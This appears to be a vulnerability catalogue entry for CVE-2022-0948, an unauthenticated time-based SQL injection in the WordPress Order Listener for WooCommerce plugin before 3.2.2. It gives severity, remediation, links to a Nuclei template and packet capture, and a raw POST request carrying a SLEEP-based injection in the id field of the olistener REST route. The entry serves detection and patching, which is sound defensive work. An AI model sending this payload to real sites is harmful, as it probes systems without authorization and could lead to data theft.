| Title | WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage. |
| Remediation | Update the WordPress Order Listener for WooCommerce plugin to version 3.2.2 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.6652 |
| CVE ID | CVE-2022-0948 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 wp unauth sqli woc-order-alert wpscan wordpress wp-plugin pluginbazaar vuln |
WordPress Order Listener for WooCommerce plugin before 3.2.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /?rest_route=/olistener/new HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.9
Connection: close
Content-Length: 21
content-type: application/json
Accept-Encoding: gzip
{"id":" (SLEEP(6))#"}
GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.4.24
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0948.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0948.pcap
N/AN/A